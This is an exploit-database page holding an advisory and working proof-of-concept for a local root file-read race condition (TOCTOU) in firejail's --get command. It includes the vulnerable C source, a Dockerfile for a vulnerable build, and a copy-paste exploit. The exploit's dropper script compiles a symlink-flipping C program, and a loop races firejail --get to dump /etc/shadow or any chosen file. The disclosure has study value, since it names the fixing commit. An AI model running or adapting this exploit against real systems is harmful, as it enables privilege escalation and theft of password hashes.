0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Firejail - Privilege Escalation Exploit
# firejail advisory for TOCTOU in --get and --put (local root) Releasing a brief advisory/writeup about a local root privesc found in firejail that we reported back in Nov, 2016. This is in response to a recent [thread](http://seclists.org/oss-sec/2017/q1/20) on oss-sec where people seem interested in details of firejail security issues. This particular vulnerability was fixed in commit [e152e2d](https://github.com/netblue30/firejail/commit/e152e2d067e17be33c7e82ce438c8ae740af6a66) but no CVE was assigned. ## Vulnerability This is a TOCTOU (race condition) bug when testing access permissions with access() and then calling copy_file(). At the time of discovery, it was clear the code suffered from many insecure coding constructs like this and much more -- but there was no guideline around making security related bug reports (other than using the public issue tracker). ### Code: src/firejail/ls.c ~~~~ void sandboxfs(int op, pid_t pid, const char *path) { EUID_ASSERT(); // if the pid is that of a firejail process, use the pid of the first child process EUID_ROOT(); char *comm = pid_proc_comm(pid); EUID_USER(); if (comm) { if (strcmp(comm, "firejail") == 0) { pid_t child; if (find_child(pid, &child) == 0) { pid = child; } } free(comm); } // check privileges for non-root users uid_t uid = getuid(); if (uid != 0) { uid_t sandbox_uid = pid_get_uid(pid); if (uid != sandbox_uid) { fprintf(stderr, "Error: permission denied.\n"); exit(1); } } // full path or file in current directory? char *fname; if (*path == '/') { fname = strdup(path); if (!fname) errExit("strdup"); } else if (*path == '~') { if (asprintf(&fname, "%s%s", cfg.homedir, path + 1) == -1) errExit("asprintf"); } else { fprintf(stderr, "Error: Cannot access %s\n", path); exit(1); } // sandbox root directory char *rootdir; if (asprintf(&rootdir, "/proc/%d/root", pid) == -1) errExit("asprintf"); if (op == SANDBOX_FS_LS) { EUID_ROOT(); // chroot if (chroot(rootdir) < 0) errExit("chroot"); if (chdir("/") < 0) errExit("chdir"); // access chek is performed with the real UID if (access(fname, R_OK) == -1) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } // list directory contents struct stat s; if (stat(fname, &s) == -1) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } if (S_ISDIR(s.st_mode)) { char *rp = realpath(fname, NULL); if (!rp) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } if (arg_debug) printf("realpath %s\n", rp); char *dir; if (asprintf(&dir, "%s/", rp) == -1) errExit("asprintf"); print_directory(dir); free(rp); free(dir); } else { char *rp = realpath(fname, NULL); if (!rp) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } if (arg_debug) printf("realpath %s\n", rp); char *split = strrchr(rp, '/'); if (split) { *split = '\0'; char *rp2 = split + 1; if (arg_debug) printf("path %s, file %s\n", rp, rp2); print_file_or_dir(rp, rp2, 1); } free(rp); } } // get file from sandbox and store it in the current directory else if (op == SANDBOX_FS_GET) { // check source file (sandbox) char *src_fname; if (asprintf(&src_fname, "%s%s", rootdir, fname) == -1) errExit("asprintf"); EUID_ROOT(); struct stat s; if (stat(src_fname, &s) == -1) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } // try to open the source file - we need to chroot pid_t child = fork(); if (child < 0) errExit("fork"); if (child == 0) { // chroot if (chroot(rootdir) < 0) errExit("chroot"); if (chdir("/") < 0) errExit("chdir"); // drop privileges drop_privs(0); // try to read the file if (access(fname, R_OK) == -1) { fprintf(stderr, "Error: Cannot read %s\n", fname); exit(1); } exit(0); } // wait for the child to finish int status = 0; waitpid(child, &status, 0); if (WIFEXITED(status) && WEXITSTATUS(status) == 0); else exit(1); EUID_USER(); // check destination file (host) char *dest_fname = strrchr(fname, '/'); if (!dest_fname || *(++dest_fname) == '\0') { fprintf(stderr, "Error: invalid file name %s\n", fname); exit(1); } if (access(dest_fname, F_OK) == -1) { // try to create the file FILE *fp = fopen(dest_fname, "w"); if (!fp) { fprintf(stderr, "Error: cannot create %s\n", dest_fname); exit(1); } fclose(fp); } else { if (access(dest_fname, W_OK) == -1) { fprintf(stderr, "Error: cannot write %s\n", dest_fname); exit(1); } } // copy file EUID_ROOT(); copy_file(src_fname, dest_fname, getuid(), getgid(), 0644); printf("Transfer complete\n"); EUID_USER(); } free(fname); free(rootdir); exit(0); } ~~~~ ### Code: src/firejail/util.c ~~~~ int copy_file(const char *srcname, const char *destname, uid_t uid, gid_t gid, mode_t mode) { assert(srcname); assert(destname); // open source int src = open(srcname, O_RDONLY); if (src < 0) { fprintf(stderr, "Warning: cannot open %s, file not copied\n", srcname); return -1; } // open destination int dst = open(destname, O_CREAT|O_WRONLY|O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (dst < 0) { fprintf(stderr, "Warning: cannot open %s, file not copied\n", destname); close(src); return -1; } // copy ssize_t len; static const int BUFLEN = 1024; unsigned char buf[BUFLEN]; while ((len = read(src, buf, BUFLEN)) > 0) { int done = 0; while (done != len) { int rv = write(dst, buf + done, len - done); if (rv == -1) { close(src); close(dst); return -1; } done += rv; } } if (fchown(dst, uid, gid) == -1) errExit("fchown"); if (fchmod(dst, mode) == -1) errExit("fchmod"); close(src); close(dst); return 0; } </snip> ~~~~ ## Testing ### Our Dockerfile ~~~~ FROM ubuntu:latest ENV wdir /root/firejail RUN apt-get update && apt-get install -y git gcc make RUN useradd -ms /bin/bash daniel && echo "daniel:password" | chpasswd RUN git clone https://github.com/netblue30/firejail.git ${wdir} WORKDIR ${wdir} RUN git reset --hard 81467143ee9c47d9c90e97fb55baf2d47702d372 RUN ./configure && make && make install ~~~~ ### Our exploit This will exploit the --get command to read /etc/shadow and print back to the console. Just copy and paste into your shell: ~~~~ #dropper cat > gexp.sh <<GUEST_JAIL_SCRIPT_EOF mkdir -p /tmp/exploit cat > /tmp/exploit/gaolbreak.c <<TOCTOU_POC_END #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> int main(int argc, char **argv) { char *fl = "/etc/shadow"; if(argc > 1) { fl = argv[1]; } while(1) { int fd = open("owned", O_CREAT | O_RDWR, 0777); if(fd == -1) { perror("open"); exit(1); } close(fd); remove("owned"); symlink(fl, "owned"); remove("owned"); } } TOCTOU_POC_END cd /tmp/exploit gcc ./gaolbreak.c -o gaolbreak # XXX: change argv[1] to whatever you want ./gaolbreak /etc/shadow GUEST_JAIL_SCRIPT_EOF # run the dropper (symlink attack) in a jail chmod +x ./gexp.sh firejail --noprofile --force --name=el ./gexp.sh & # win race using the vulnerable 'firejail --get' command. mkdir exploitel cd exploitel while [ 1 ] ; do nice -n 19 firejail --get=$(pgrep -f '^firejail.*--name=el' -n) /tmp/exploit/owned >/dev/null 2>&1; cat owned 2>/dev/null; done ~~~~ # 0day.today [2024-12-25] #